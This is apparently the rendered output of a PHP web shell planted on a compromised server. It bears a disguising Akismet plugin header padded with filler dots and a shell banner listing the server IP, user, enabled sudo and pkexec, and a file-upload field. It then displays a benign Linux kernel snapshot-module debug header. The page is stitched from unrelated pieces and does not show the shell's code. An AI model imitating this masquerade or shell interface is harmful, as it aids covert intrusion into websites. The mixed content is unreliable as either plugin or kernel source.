#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/snapapi26-1.0.9/ |
Upload File : |
#ifndef _DEBUG_H
#define _DEBUG_H
#include <linux/ratelimit.h> // __ratelimit()
#define DEBUG_API (1 << 1)
#define DEBUG_ALLOC (1 << 2)
#define DEBUG_BIO (1 << 3)
#define DEBUG_BIOQUE (1 << 4)
#define DEBUG_CACHE (1 << 5)
#define DEBUG_BREAD (1 << 6)
#define DEBUG_INTERNALS (1 << 7)
#define DEBUG_DUMP (1 << 8)
#define DEBUG_LOCK (1 << 9)
#define DEBUG_IOCTL (1 << 10)
#define DEBUG_MESS (1 << 11)
#define DEBUG_BMAP (1 << 12)
#define DEBUG_LEVEL (0)
extern int snap_log_level_mask;
#ifdef DEBUG
# define SA_STATIC static noinline
# define SA_INLINE noinline
#else
# define SA_STATIC static
# define SA_INLINE __always_inline
#endif
#define sn_printk_rate_limit() \
({ \
static DEFINE_RATELIMIT_STATE(ratelimit_state, \
DEFAULT_RATELIMIT_INTERVAL, \
DEFAULT_RATELIMIT_BURST); \
int limit = 1; \
if (likely(snap_log_level_mask == 0)) { \
limit = __ratelimit(&ratelimit_state); \
}; \
limit; \
})
#define sa_debug(level, fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
const int msg_lvl = level; \
if ((msg_lvl == (msg_lvl & snap_log_level_mask)) && sn_printk_rate_limit()) { \
printk(KERN_DEBUG "%s:%u(%s,%d): " fmt, func, __LINE__, \
current->comm, current->pid, ##arg); \
} \
} while (0)
#define sa_kdebug(fmt, arg...) \
do { \
static const char *func= __FUNCTION__; \
if (sn_printk_rate_limit()) { \
printk(KERN_DEBUG "%s:%u(%s,%d): " fmt, func, __LINE__, \
current->comm, current->pid, ##arg); \
} \
} while (0)
#define sa_info(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
if (sn_printk_rate_limit()) { \
printk(KERN_INFO "%s:%u(%s,%d): " fmt, func, __LINE__, \
current->comm, current->pid, ##arg); \
} \
} while (0)
#define sa_warn(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
if (sn_printk_rate_limit()) { \
printk(KERN_WARNING "%s:%u(%s,%d): " fmt, func, __LINE__, \
current->comm, current->pid, ##arg); \
} \
} while (0)
#define sa_error(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
if (sn_printk_rate_limit()) { \
printk(KERN_ERR "%s:%u(%s,%d): " fmt, func, __LINE__, \
current->comm, current->pid, ##arg); \
} \
} while (0)
#define sa_BUG(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
printk(KERN_CRIT "%s:%u(%s,%d): " fmt, func, __LINE__, \
current->comm, current->pid, ##arg); \
BUG(); \
} while (0)
#ifndef HAVE_BIO_SET_DEV
# define sn_bio_dev(bio) ((bio)->bi_bdev->bd_dev)
#else
# define sn_bio_dev(bio) bio_dev(bio)
#endif
#ifdef HAVE_BIO_OPF
# define get_bio_req_flags(bio) ((bio)->bi_opf)
#else
# define get_bio_req_flags(bio) ((bio)->bi_rw)
#endif
static __always_inline void print_bio(struct bio *bio, char *pref)
{
if (unlikely((snap_log_level_mask & DEBUG_BIO) > 0)) {
dev_t dev = sn_bio_dev(bio);
sa_warn("%s bio=%p, dev=%d:%d, sector=%llu, bi_flags=%lx"
" bi_rw=%lx bi_size=%d bi_vcnt=%d bi_io_vec=%p"
" bi_max_vecs=%d\n",
pref, bio, MAJOR(dev), MINOR(dev),
(unsigned long long)sn_bio_bi_sector(bio),
(unsigned long)bio->bi_flags,
(unsigned long)get_bio_req_flags(bio), sn_bio_bi_size(bio),
bio->bi_vcnt, bio->bi_io_vec, bio->bi_max_vecs);
}
}
# define dump_bio(x, y) print_bio(x, y)
#endif // _DEBUG_H